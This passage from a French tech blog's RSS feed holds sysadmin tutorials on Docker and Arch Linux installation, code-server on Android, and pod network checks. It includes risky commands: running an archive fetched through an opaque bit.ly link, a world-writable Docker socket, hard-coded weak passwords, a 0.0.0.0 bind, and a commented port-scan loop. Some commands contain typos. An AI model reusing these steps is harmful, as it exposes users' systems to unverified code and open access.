<ul>
<li><a href="https://www.robotshop.com/eu/fr/">robotshop</a></li>
<li><a href="https://www.generationrobots.com/en/101_sparkfun">generationrobots</a> (sparkfun distributeur)</li>
<li><a href="https://www.kubii.fr/">kubii</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Installer Docker sur Arch Linux</title>
            <link>https://leandeep.com/installer-docker-sur-arch-linux/</link>
            <pubDate>Sun, 13 Feb 2022 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-docker-sur-arch-linux/</guid>
            <description>&lt;p&gt;Petit tip de 10 secondes décrivant comment installer Docker sur Arch Linux.&lt;/p&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo pacman -S docker	
sudo groupadd docker
sudo usermod -aG docker $USER
sudo chmod 666 /var/run/docker.sock
sudo systemctl enable docker.service
sudo systemctl start docker.service
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;vérification&#34;&gt;Vérification&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;docker run hello-world
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Petit tip de 10 secondes décrivant comment installer Docker sur Arch Linux.</p>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo pacman -S docker	
sudo groupadd docker
sudo usermod -aG docker $USER
sudo chmod 666 /var/run/docker.sock
sudo systemctl enable docker.service
sudo systemctl start docker.service
</code></pre><br/>
<h2 id="vérification">Vérification</h2>
<pre tabindex="0"><code>docker run hello-world
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Développer sur iPad</title>
            <link>https://leandeep.com/d%C3%A9velopper-sur-ipad/</link>
            <pubDate>Sat, 12 Feb 2022 19:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9velopper-sur-ipad/</guid>
            <description>&lt;p&gt;Je ne rentrerais pas dans les détails de ce que je pense d&amp;rsquo;Apple et ses techniques Marketing douteuses pour pousser ses clients à la (sur)consommation. Je peux néanmoins toujours pas me passer du Macbook Pro et d&amp;rsquo;un iPad pour la qualité du matériel et surtout pour OSX et son interopérabilité avec les logiciels Enterprise de l&amp;rsquo;écosystème Microsoft (Office, Teams, etc). J&amp;rsquo;aurais préféré un Linux mais on est très loin du niveau d&amp;rsquo;OSX parfaitement intégré.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Je ne rentrerais pas dans les détails de ce que je pense d&rsquo;Apple et ses techniques Marketing douteuses pour pousser ses clients à la (sur)consommation. Je peux néanmoins toujours pas me passer du Macbook Pro et d&rsquo;un iPad pour la qualité du matériel et surtout pour OSX et son interopérabilité avec les logiciels Enterprise de l&rsquo;écosystème Microsoft (Office, Teams, etc). J&rsquo;aurais préféré un Linux mais on est très loin du niveau d&rsquo;OSX parfaitement intégré.</p>
<p>L&rsquo;iPhone, par contre, je le trouve beaucoup trop cher pour que c&rsquo;est. Et surtout iOS est totalement (volontairement et inutilement) limité et bien en dessous d&rsquo;Android en terme de fonctionnalités.</p>
<p>Lorsque je voyage pour le tourisme, je n&rsquo;ai pas forcément envi de transporter mon précieux Macbook Pro. Transporter uniquement un iPad pourrait être une bonne solution mais il est limité. Il n&rsquo;y a pas de terminal, pas d&rsquo;IDE; bref pour mon travail c&rsquo;est totalement limitant. Un smartphone Android est presque une meilleure alternative car son système est ouvert mais il faut transporter un clavier bluetooth, une souris, un câble HDMI et espérer qu&rsquo;il y aura une télévision pas trop ancienne là où vous vous rendez. Si vous voyagez en Europe de l&rsquo;Ouest cela devrait aller mais si vous partez ailleurs&hellip; Certaines personnes parlent d&rsquo;IDE (github.dev) ou de VM dans le Cloud mais de la même manière, si vous partez dans un pays pauvre ou sous développé vous n&rsquo;aurez pas forcément accès à la 3G/4G ou à du Wifi.</p>
<p>Ma solution à ce problème consiste à utiliser la combinaison iPad + Logitech Folio Touch + mon Smartphone Android. Je me sers de l&rsquo;iPad comme écran principalement, du clavier/ trackpad pour coder et je le connecte en remote à mon Smartphone Android (un Linux). Depuis mon Smartphone, je crée un hotspot et j&rsquo;installe un Ubuntu + Code server et je connecte mon iPad dessus. Avec cette solution, je n&rsquo;ai pas besoin d&rsquo;internet et je peux avoir tous les outils que je souhaite sans limitation.</p>
<br/>
<h1 id="installation">Installation</h1>
<p>Sur Android, installer Userland et télécharger un Ubuntu.</p>
<p>Démarrer ensuite un hotspot et connectez y votre iPad en wifi.</p>
<p>Sur l&rsquo;Ubuntu nouvellement démarré sur Android, exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>sudo apt update
sudo apt upgrade -y
sudo apt install vim git wget net-tools tmux -y
# Récupérer l&#39;adresse IP de votre smartphone
ifconfig 
wget https://bit.ly/3CveNfu -O vscode.tar.gz
#wget https://github.com/cdr/code-server/releases/download/v3.12.0/code-server-3.12.0-linux-arm64.tar.gz
tar -zxvf ./vscode.tar.gz
#tar -xvf ./code-server-3.12.0-linux-arm64.tar.gz
cd code-server-*/bin
export PASSWORD=&#34;password&#34;
./code-server
ctrl+c
</code></pre><p>Editer le fichier <code>~/.config/code-server/config.yaml</code> et spécifier <code>0.0.0.0</code> comme bind address à la place de <code>127.0.0.1</code>.</p>
<p><br/>
Pour avoir de l&rsquo;HTTPS sur votre instance code-server, exécutez les commandes suivantes:</p>
<pre tabindex="0"><code># Replaces &#34;cert: false&#34; with &#34;cert: true&#34; in the code-server config.
sed -i.bak &#39;s/cert: false/cert: true/&#39; ~/.config/code-server/config.yaml
# Replaces &#34;bind-addr: 0.0.0.0:8080&#34; with &#34;bind-addr: 0.0.0.0:443&#34; in the code-server config.
sed -i.bak &#39;s/bind-addr: 0.0.0.0:8080/bind-addr: 0.0.0.0:443/&#39; ~/.config/code-server/config.yaml
# Allows code-server to listen on port 443.
sudo apt install -y libcap2-bin
sudo setcap cap_net_bind_service=+ep /home/olivier/code-server-3.10.2-linux-arm64/lib/node
./code-server
</code></pre><p>Relancer ensuite code-server puis rendez-vous sur <a href="https://192.168.43.1:2443/">https://192.168.43.1:2443/</a></p>
<br/>
<h2 id="test">Test</h2>
<p>Sur votre iPad, ouvrez une nouvelle fenêtre Safari et rendez-vous à l&rsquo;adresse sur laquelle tourne code-server. Pour ma part, il s&rsquo;agit de l&rsquo;adresse <a href="https://10.157.254.22:8080">http://10.157.254.22:8080</a>.</p>
<p>Pour accéder au terminal de votre Ubuntu installé sur votre smartphone depuis votre iPad, installez l&rsquo;app WebSSH. Le port SSH d&rsquo;Ubuntu sur Userland est le <code>2022</code>.</p>
<blockquote>
<p>Ou depuis un Mac: ssh <a href="mailto:userland@192.168.43.1">userland@192.168.43.1</a> -p 2022</p></blockquote>
<blockquote>
<p>Installer une app de type <a href="https://play.google.com/store/apps/details?id=in.snapcore.screen_alive">Keep Screen On</a> sur votre Android pour éviter que UserLand ne se stoppe.</p></blockquote>
<br/>
<h2 id="création-dun-service">Création d&rsquo;un service</h2>
<blockquote>
<p>systemd error: <code>System has not been booted with systemd as init system (PID 1). Can't operate. Failed to connect to bus: Host is down</code></p></blockquote>
<p>Systemd n&rsquo;est pas accessible donc créer un fichier dans <code>/etc/init.d/code</code>:</p>
<pre tabindex="0"><code>#!/bin/sh
### BEGIN INIT INFO
# Provides:          code-server
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: code-server
# Description:       Init script for coder-server. Edit
#                    ~/.config/code-server/config.yaml to configure the server.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/home/olivier/coder/bin/code-server
NAME=code-server
DESC=&#34;Code-server app&#34;

NO_START=0

set -e

. /lib/lsb/init-functions

cancel() { echo &#34;$1&#34; &gt;&amp;2; exit 0; };
test -x &#34;$DAEMON&#34; || cancel &#34;$DAEMON does not exist or is not executable.&#34;
test ! -x /usr/sbin/update-service || ! update-service --check code-server ||
  cancel &#39;The code-server service is controlled through runit, use the sv(8) program&#39;

case &#34;$1&#34; in
  start)
	test &#34;$NO_START&#34; = &#34;0&#34; || cancel &#34;Starting $DESC: [abort] NO_START is not set to zero in $DEFAULTCFG&#34;
  export PASSWORD=&#34;motdepassecodeserver&#34;
	echo -n &#34;Starting $DESC: &#34;
	start-stop-daemon --start --quiet --make-pidfile --pidfile /var/run/&#34;$NAME&#34;.pid \
	  --exec &#34;$DAEMON&#34; --retry 60 --background
	echo &#34;--&gt; $NAME.&#34;
	;;
  stop)
	echo -n &#34;Stopping $DESC: &#34;
	start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/&#34;$NAME&#34;.pid
	rm /var/run/&#34;$NAME&#34;.pid
	echo &#34;--&gt; $NAME.&#34;
	;;
  restart|force-reload)
	test &#34;$NO_START&#34; = &#34;0&#34; || cancel &#34;Restarting $DESC: [abort] NO_START is not set to zero in $DEFAULTCFG&#34;
	echo -n &#34;Restarting $DESC: &#34;
	start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/&#34;$NAME&#34;.pid
	rm /var/run/&#34;$NAME&#34;.pid
	sleep 2
	start-stop-daemon --start --quiet --make-pidfile --pidfile /var/run/&#34;$NAME&#34;.pid \
          --exec &#34;$DAEMON&#34; --retry 60 --background
	echo &#34;--&gt; $NAME.&#34;
	;;
  status)
		status_of_proc -p /var/run/&#34;$NAME&#34;.pid $DAEMON $NAME &amp;&amp; exit 0 || exit $?
	;;
  *)
	N=/etc/init.d/$NAME
	echo &#34;Usage: $N {start|stop|status|restart|force-reload}&#34; &gt;&amp;2
	exit 1
	;;
esac

exit 0
</code></pre><p>Puis démarrer le service <code>/etc/init.d/code start</code> après avoir ajouté les droits d&rsquo;exécution sur le script <code>sudo chmod +x /etc/init.d/code</code></p>
<p>Lister les services: <code>service --status-all</code></p>
<p>Voir si le pid file a bien été créé: <code>ls /var/run</code></p>
<br/>
<h2 id="répertoire-partagé-entre-android-et-ubuntu">Répertoire partagé entre Android et Ubuntu</h2>
<p>Depuis Ubuntu, créer un fichier dans <code>touch /storage/internal/test-ubuntu-android.txt</code>.</p>
<p>Rendez-vous ensuite sur Android, ouvrez l&rsquo;app Fichier et vérifiez que le nouveau fichier a bien été créé dans le répertoire <strong>Téléphone &ndash;&gt; Android &ndash;&gt; data &ndash;&gt; tech.ula &ndash;&gt; files &ndash;&gt; storage</strong></p>
]]></content>
        </item>
        
        <item>
            <title>Vérifier les ouvertures réseau depuis un pod Kubernetes</title>
            <link>https://leandeep.com/v%C3%A9rifier-les-ouvertures-r%C3%A9seau-depuis-un-pod-kubernetes/</link>
            <pubDate>Tue, 08 Feb 2022 06:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/v%C3%A9rifier-les-ouvertures-r%C3%A9seau-depuis-un-pod-kubernetes/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article rapide, nous allons voir comment vérifier qu&amp;rsquo;un pod peut accéder à un serveur distant. Dans l&amp;rsquo;image Docker utiliséz dans le pod, aucun outil n&amp;rsquo;est installé (&lt;code&gt;ping command not found&lt;/code&gt;&amp;hellip;).&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;icmp&#34;&gt;ICMP&lt;/h2&gt;
&lt;p&gt;Ping, c&amp;rsquo;est &lt;a href=&#34;https://fr.wikipedia.org/wiki/Internet_Control_Message_Protocol&#34;&gt;ICMP&lt;/a&gt;, donc si ICMP est bloqué vous ne pourrez pas pinger votre serveur.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;connexion-tcpudp-via-device&#34;&gt;Connexion tcp/udp via device&lt;/h2&gt;
&lt;p&gt;Depuis le pod, &lt;code&gt;kubectl exec...&lt;/code&gt;, exécuter les commandes suivantes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export host=le_host_de_votre_serveur_distant
export port=le_port_de_votre_serveur_distant
(echo &amp;gt;/dev/tcp/${host}/${port}) &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; echo &amp;#34;open&amp;#34; || echo &amp;#34;closed&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;rappel-autres-outils&#34;&gt;Rappel autres outils&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;telnet:&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article rapide, nous allons voir comment vérifier qu&rsquo;un pod peut accéder à un serveur distant. Dans l&rsquo;image Docker utiliséz dans le pod, aucun outil n&rsquo;est installé (<code>ping command not found</code>&hellip;).</p>
<br/>
<h2 id="icmp">ICMP</h2>
<p>Ping, c&rsquo;est <a href="https://fr.wikipedia.org/wiki/Internet_Control_Message_Protocol">ICMP</a>, donc si ICMP est bloqué vous ne pourrez pas pinger votre serveur.</p>
<br/>
<h2 id="connexion-tcpudp-via-device">Connexion tcp/udp via device</h2>
<p>Depuis le pod, <code>kubectl exec...</code>, exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>export host=le_host_de_votre_serveur_distant
export port=le_port_de_votre_serveur_distant
(echo &gt;/dev/tcp/${host}/${port}) &amp;&gt;/dev/null &amp;&amp; echo &#34;open&#34; || echo &#34;closed&#34;
</code></pre><br/>
<h2 id="rappel-autres-outils">Rappel autres outils</h2>
<p><strong>telnet:</strong></p>
<pre tabindex="0"><code>telnet IP_DE_VOTRE_HOST 80
</code></pre><br/>
<p><strong>Netcat:</strong></p>
<pre tabindex="0"><code>nc -nv ip_address port_number
</code></pre><br/>
<p><strong>tcpconnect:</strong></p>
<pre tabindex="0"><code>tcpconnect -v remote_host remote_port
# for i in seq 1 65535 ; do tcpconnect -v remotehost $i ; done
</code></pre><p>Et voilà.</p>
]]></content>
        </item>
        
        <item>
            <title>Installation d&#39;Arch linux</title>
            <link>https://leandeep.com/installation-darch-linux/</link>
            <pubDate>Fri, 04 Feb 2022 06:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installation-darch-linux/</guid>
            <description>&lt;h2 id=&#34;instroduction&#34;&gt;Instroduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment installer Arch Linux de A à Z.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;démarrage-de-linstallation&#34;&gt;Démarrage de l&amp;rsquo;installation&lt;/h2&gt;
&lt;p&gt;Créer une clé usb de boot contenant l&amp;rsquo;ISO d&amp;rsquo;archlinux puis booter dessus (presser F10 généralement).&lt;/p&gt;
&lt;p&gt;Sur le premier menu, sélectionner &lt;code&gt;Arch Linux installation medium&lt;/code&gt; et appuyer sur entrer.&lt;/p&gt;
&lt;p&gt;Vous arriverez ensuite sur un terminal &lt;code&gt;zsh&lt;/code&gt; en mode &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;configuration-le-clavier&#34;&gt;Configuration le clavier&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;loadkeys fr-pc
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Voilà vous êtes maintenant en AZERTY.&lt;br/&gt;
&lt;code&gt;localectl list-keymaps&lt;/code&gt; pour voir les différents agencements du clavier FR disponibles.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="instroduction">Instroduction</h2>
<p>Dans cet article, nous allons voir comment installer Arch Linux de A à Z.</p>
<br/>
<h2 id="démarrage-de-linstallation">Démarrage de l&rsquo;installation</h2>
<p>Créer une clé usb de boot contenant l&rsquo;ISO d&rsquo;archlinux puis booter dessus (presser F10 généralement).</p>
<p>Sur le premier menu, sélectionner <code>Arch Linux installation medium</code> et appuyer sur entrer.</p>
<p>Vous arriverez ensuite sur un terminal <code>zsh</code> en mode <code>root</code>.</p>
<br/>
<h2 id="configuration-le-clavier">Configuration le clavier</h2>
<pre tabindex="0"><code>loadkeys fr-pc
</code></pre><blockquote>
<p>Voilà vous êtes maintenant en AZERTY.<br/>
<code>localectl list-keymaps</code> pour voir les différents agencements du clavier FR disponibles.</p></blockquote>
<br/>
<h2 id="vérification-du-mode-de-démarrage">Vérification du mode de démarrage</h2>
<p>Si la commande suivante ne retourne pas d&rsquo;erreur, c&rsquo;est que le mode de démarrage est bien en UEFI. On est donc prêt à continuer l&rsquo;installation.</p>
<pre tabindex="0"><code>ls /sys/firmware/efi/efivars
</code></pre><br/>
<h2 id="connexion-à-internet">Connexion à internet</h2>
<p>Voir l&rsquo;état des interfaces réseau:</p>
<pre tabindex="0"><code>ip link
</code></pre><blockquote>
<p>Si vous voulez utiliser du Wifi , vérifier que votre carte n&rsquo;est pas bloquée avec <a href="https://wiki.archlinux.org/title/Rfkill">rfkill</a><br/>
Utiliser <a href="https://wiki.archlinux.org/title/Iwctl">iwctl</a> pour vous authentifier aux réseaux wifi.<br/>
Utiliser <a href="https://wiki.archlinux.org/title/Mmcli">mmcli</a> pour vous connecter à un réseau mobile<br/>
<a href="https://wiki.archlinux.org/title/DHCP">DHCP</a> devrait fonctionner sans rien faire grâce aux services <a href="https://wiki.archlinux.org/title/Systemd-networkd">systemd-networkd</a> et <a href="https://wiki.archlinux.org/title/Systemd-resolved">systemd-resolved</a><br/>
Pour configurer une IP statique, c&rsquo;est par <a href="https://wiki.archlinux.org/title/Network_configuration#Static_IP_address">ici</a><br/>
Tout est configuré par défaut durant la phase d&rsquo;installation d&rsquo;Archlinux. Une fois le système installé et donc sorti du mode Live OS, il faudra tout réinstaller.</p></blockquote>
<pre tabindex="0"><code>ping google.com
</code></pre><br/>
<h2 id="configuration-de-lheure">Configuration de l&rsquo;heure</h2>
<pre tabindex="0"><code>timedatectl status
timedatectl set-ntp true
timedatectl status
</code></pre><br/>
<h1 id="partitionnement-du-disque">Partitionnement du disque</h1>
<blockquote>
<p>Configuration simple pour un disque SSD de 2 To.</p></blockquote>
<p>Dans un premier temps on efface tout:</p>
<pre tabindex="0"><code>fdisk -l
fdisk /dev/sdX
# Utiliser m pour obtenir de l&#39;aide
i (voir les infos sur les partitions)
d (détruire les partitions une à une)
w (save)
fdisk -l (pour confirmer que les changements ont bien été pris en compte)
</code></pre><br/>
<p>Puis on recrée 3 nouvelles partitions:</p>
<ul>
<li>Première partition EFI</li>
</ul>
<pre tabindex="0"><code>fdisk /dev/sda
g (pour créer une table de partition vide)
n (création d&#39;une nouvelle partition EFI)
1
Enter (on n&#39;entre pas de valeur pour le First sector)
+512M
y (oui on veut retirer la signateur vfat précédente liée à son ancienne installation)
t (pour changer le type de la partition)
1 (pour EFI system)
</code></pre><br/>
<ul>
<li>Deuxième partition de SWAP</li>
</ul>
<pre tabindex="0"><code>n
2
enter
+4G
y
t (changer le type de la partition)
2 (sélection de la 2e partition)
19 (pour Linux Swap)
</code></pre><br/>
<ul>
<li>Troisième partition pour ROOT</li>
</ul>
<pre tabindex="0"><code>n
3
enter
enter
y
t
3
23 (pour x86-64)
</code></pre><br/>
<p>Sauvegarder tous les changements et vérifier que tout est ok.</p>
<pre tabindex="0"><code>w
fdisk --list
</code></pre><p>Dans les Devices du disque <code>/dev/sda</code> vous devriez voir les 3 nouvelles partitions:<br/>
<code>/dev/sda1</code>, <code>/dev/sda2</code> et <code>/dev/sda3</code></p>
<br/>
<h2 id="création-des-filesystems">Création des filesystems</h2>
<p>Nous allons utiliser <code>mkfs</code> et <code>mkswap</code> pour créer les file systems sur les nouvelles partitions.</p>
<pre tabindex="0"><code>mkfs.vfat /dev/sda1
mkswap /dev/sda2
mkfs.ext4 /dev/sda3
</code></pre><br/>
<h2 id="installation-des-packages-arch">Installation des packages Arch</h2>
<p>On commence par monter les partitions avant d&rsquo;installer les packages:</p>
<pre tabindex="0"><code>mount /dev/sda3 /mnt
mkdir /mnt/efi
mount /dev/sda1 /mnt/efi
swapon /dev/sda2
</code></pre><br/>
<p>Installation des packages de base:</p>
<pre tabindex="0"><code>pacstrat /mnt base linux linux-firmware
pacstrat /mnt dhcpcd dhclient
</code></pre><br/>
<h2 id="génération-du-fstab">Génération du fstab</h2>
<pre tabindex="0"><code>genfstab -U /mnt &gt;&gt; /mnt/etc/fstab
cat /mnt/etc/fstab
</code></pre><br/>
<h2 id="chroot-pour-se-logguer-dans-le-nouveau-système">chroot pour se logguer dans le nouveau système</h2>
<pre tabindex="0"><code>arch-chroot /mnt
</code></pre><blockquote>
<p>La commande précédente permet de quitter l&rsquo;environnement du live OS et d&rsquo;atterir dans le nouveau système fraichement installé.</p></blockquote>
<p>On peut donc maintenant utiliser <code>pacman</code> pour manager les applications (c&rsquo;est l&rsquo;équivalent de <code>apt</code> ou <code>yum</code>).</p>
<pre tabindex="0"><code>pacman -Syu
# Installation de git
pacman -Syu git nano vim
</code></pre><br/>
<h2 id="hostname-et-hosts">hostname et hosts</h2>
<pre tabindex="0"><code>echo NomDeVotreMachine &gt;&gt; /etc/hostname
echo &#39;127.0.0.1 NomDeVotreMachine.localdomain NomDeVotreMachine&#39; &gt;&gt; /etc/hosts
</code></pre><br/>
<h2 id="gestion-du-fuseau-horaire">Gestion du fuseau horaire</h2>
<pre tabindex="0"><code>ls -al /etc/
ln -sf /usr/share/zoneinfo/Europe/Paris /etc/localtime
ls -al /etc/
</code></pre><br/>
<h2 id="locale">Locale</h2>
<p>Editer le fichier <code>/etc/locale.gen</code>, décommentez la locale <code>fr_FR.UTF-8 UTF8</code> et exécuter les commandes suivantes:</p>
<pre tabindex="0"><code>locale-gen
echo LANG=&#34;fr_FR.UTF-8&#34; &gt; /etc/locale.conf
# Pour la session courante
export LANG=fr_FR.UTF-8
echo KEYMAP=fr &gt; /etc/vconsole.conf
</code></pre><br/>
<h2 id="installation-dun-bootloader">Installation d&rsquo;un Bootloader</h2>
<pre tabindex="0"><code>pacman -Syu grub efibootmgr
grub-install --target=x86_64-efi --efi-directory=/efi --bootloader-id=GRUB
</code></pre><p>Ajout d&rsquo;un microcode pour votre CPU:</p>
<pre tabindex="0"><code>pacman -Syu intel-ucode
</code></pre><p>Génération du grub.cfg:</p>
<pre tabindex="0"><code>grub-mkconfig -o /boot/grub/grub.cfg
</code></pre><br/>
<h2 id="création-dun-nouvel-utilisateur-et-blocage-du-compte-root">Création d&rsquo;un nouvel utilisateur et blocage du compte root</h2>
<p>Création du nouvel utilisateur ayant accès root:</p>
<pre tabindex="0"><code>pacman -Syu sudo
useradd --create-home olivier
passwd olivier
</code></pre><br/>
<p>Blocage du compte root initialement créé par défaut:</p>
<p>Modifier le fichier <code>/etc/sudoers</code> et donner les droits et remplacer la ligne <code>root ALL=(ALL) ALL</code> par <code>olivier ALL=(ALL) ALL</code></p>
<br/>
<p>Exécuter ensuite les commandes suivantes:</p>
<pre tabindex="0"><code># Effacer le mot de passe root
passwd --delete root
# Locker le compte root
passwd --lock root
</code></pre><p>Enfin editer le fichier <code>/etc/passwd</code> et remplacer la ligne <code>root:x:0:0::/root:/bin/bash</code> par <code>root:x:0:0::/:/usr/bin/nologin</code></p>
<blockquote>
<p>A noter que dans les lignes précédentes, <code>:x:</code> équivaut à <code>: x :</code> sans espace. (Blog engine auto conversion&hellip;)</p></blockquote>
<br/>
<h2 id="first-boot">First boot</h2>
<pre tabindex="0"><code>exit
shutdown -r now
</code></pre><p>C&rsquo;est maintenant qu&rsquo;on croise les doigts ahahah.</p>
<br/>
<p>Passage du clavier en fr dans la session courante:</p>
<pre tabindex="0"><code>sudo loadkeys fr-pc
</code></pre><p>Pour rendre la keymap persistente, editer le fichier <code>/etc/vconsole.conf</code> et ajouter la ligne suivante:</p>
<pre tabindex="0"><code>KEYMAP=fr
</code></pre><br/>
<p>Configuration réseau:</p>
<ul>
<li>Récupérer le nom de vos interfaces réseau:</li>
</ul>
<pre tabindex="0"><code>ip link
# Dans mon cas:
eno1 et wlp58s0
</code></pre><br/>
<ul>
<li>Editer le fichier <code>sudo vim /etc/systemd/network/10-wire-wireless.network</code> et ajouter la config suivante:</li>
</ul>
<pre tabindex="0"><code>[Match]
Name=eno1 wlp58s0
[Network]
DHCP=yes
LLMNR=yes
MulticastDNS=yes
DNSSEC=yes
DNSOverTLS=yes
DNS=1.1.1.1 1.0.0.1 2606:4700:4700::1111 2606:4700:4700::1001
FallbackDNS=8.8.8.8 8.8.4.4 2001:4860:4860::8888 2001:4860:4860::8844
[DHCP]
UseDNS=no
</code></pre><blockquote>
<p><code>DHCP=yes</code> pour que l&rsquo;assignement d&rsquo;une adresse IP se fasse automatiquement
<a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">LLMNR</a>
<a href="https://en.wikipedia.org/wiki/Multicast_DNS">MDNS</a>
<a href="https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions">DNSSEC</a>
<a href="https://en.wikipedia.org/wiki/DNS_over_TLS">DNSOverTLS</a>
<code>UseDNS=NO</code> pour ne pas utiliser le DNS de ma freebox</p></blockquote>
<br/>
<ul>
<li>Editer maintenant le fichier <code>sudo vim /etc/systemd/resolved.conf</code>. C&rsquo;est requis par Arch car nous avons créé un fichier <code>*.network</code> juste au dessus. Voici le contenu à insérer dans notre second fichier:</li>
</ul>
<pre tabindex="0"><code>[Resolve]
DNS=1.1.1.1 1.0.0.1 2606:4700:4700::1111 2606:4700:4700::1001
FallbackDNS=8.8.8.8 8.8.4.4 2001:4860:4860::8888 2001:4860:4860::8844
LLMNR=yes
MulticastDNS=yes
DNSSEC=yes
DNSOverTLS=yes
</code></pre><br/>
<ul>
<li>Créer le symlink suivant:</li>
</ul>
<pre tabindex="0"><code>sudo ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf
</code></pre><blockquote>
<p>Grâce à cela, toutes les applications vont appeler <code>127.0.0.53:53</code> pour le DNS. Le service <code>resolved</code> va à son tour contacter les DNS spécifier dans notre fichier <code>/etc/systemd/network/10-wire-wireless.network</code> et utiliser DNSSEC et DNS-over-TLS pour résoudre les noms de domaines.</p></blockquote>
<br/>
<ul>
<li>Activation des services:</li>
</ul>
<pre tabindex="0"><code>sudo systemctl enable --now systemd-networkd
sudo systemctl enable --now systemd.resolved
ping google.com
</code></pre><br/>
<h2 id="backup-installation-sur-périphérique-externe">Backup installation sur périphérique externe</h2>
<p>Voilà, on vient de passer presque 1h à installer notre système sous Arch. Avant d&rsquo;aller plus loin, on va réutiliser la clé USB qui nous a permis d&rsquo;installer l&rsquo;ISO Arch pour faire un backup. On va la formater et tout backuper.</p>
<ul>
<li>Formatage de la clé:</li>
</ul>
<pre tabindex="0"><code>sudo fdisk -l
sudo umount /dev/sdb1
sudo umount /dev/sdb2
sudo fdisk /dev/sdb
d
1
d
2
w
sudo fdisk /dev/sdb
g
n
1
enter
enter
w
sudo mkfs.ext4 /dev/sdb1
</code></pre><br/>
<ul>
<li>Backup:</li>
</ul>
<pre tabindex="0"><code>mkdir /mnt/usbstick
sudo mount /dev/sdb1 /mnt/usbstick
sudo pacman -Syu rsync
sudo rsync -aAXv --delete --exclude=/dev/* --exclude=/proc/* --exclude=/sys/* --exclude=/tmp/* --exclude=/run/* --exclude=/mnt/* --exclude=/media/* --exclude=&#34;swapfile&#34; --exclude=&#34;lost+found&#34; --exclude=&#34;.cache&#34; --exclude=&#34;Downloads&#34; --exclude=&#34;.VirtualBoxVMs&#34;--exclude=&#34;.ecryptfs&#34; / /mnt/usbstick/
</code></pre><blockquote>
<p>Restauration:
Boot sur Live ISO puis:<br/>
<code>mkdir /mnt/system /mnt/usb</code> puis <code>lsblk</code> ou <code>fsdisk -l</code> pour voir le nom des devices connectés.<br/>
Monter le file system et le backup: <code>mount /dev/sda1 /mnt/system</code> et <code>mount /dev/sdb1 /mnt/usb</code> <br/>
Enfin, restaurer: <code>rsync -aAXv --delete --exclude=&quot;lost+found&quot; /mnt/usb/ /mnt/system/</code></p></blockquote>
<br/>
<h2 id="xorg">Xorg</h2>
<p>Déterminer le pilote graphique à utiliser:</p>
<pre tabindex="0"><code>lspci -v | grep -A1 -e VGA -e 3D
</code></pre><p>Suivant la marque, il faudra utiliser un package adapté. <a href="https://wiki.archlinux.org/title/Xorg">Voici la liste</a> des packages à disposition.</p>
<p>Dans mon cas, ayant une carte Intel, je vais installer le package <code>xf86-video-intel</code> puis j&rsquo;installe le package xorg group via la commande: <code>sudo pacman -Syu xorg</code>.</p>
<br/>
<p>Je vérifie l&rsquo;installation avec <code>sudo Xorg -version</code>.</p>
<br/>
<h2 id="desktop-environment">Desktop environment</h2>
<p>On va maintenant installer Gnome.</p>
<pre tabindex="0"><code>sudo pacman -Syu gnome gnome-extra xorg-xinit
</code></pre><p>On va ensuite configurer le système pour que la commande <code>startx</code> démarre une session gnome. Pour ce faire, on va créer un fichier <code>sudo vim ~/.xinitrc</code> et on va ajouter la ligne suivante: <code>exec gnome-session</code>.</p>
<p>On redémarre et vérifie que tout fonctionne bien. Exécuter <code>startx</code> après s&rsquo;être authentifié.</p>
<br/>
<h2 id="keyring-fix">Keyring fix</h2>
<pre tabindex="0"><code>sudo passwd
</code></pre><br/>
<h2 id="bluetooth">Bluetooth</h2>
<pre tabindex="0"><code>pacman -Syu bluez bluez-utils
systemctl enable bluetooth.service
systemctl start bluetooth.service
</code></pre><br/>
<h2 id="wifi">Wifi</h2>
<pre tabindex="0"><code>sudo pacman -Syu networkmanager
sudo systemctl enable NetworkManager.service
sudo systemctl start NetworkManager.service
</code></pre><br/>
<h2 id="utilitaires">Utilitaires</h2>
<ul>
<li>Via pacman</li>
</ul>
<pre tabindex="0"><code>vlc base-devel firefox 
</code></pre><ul>
<li>Snapd:</li>
</ul>
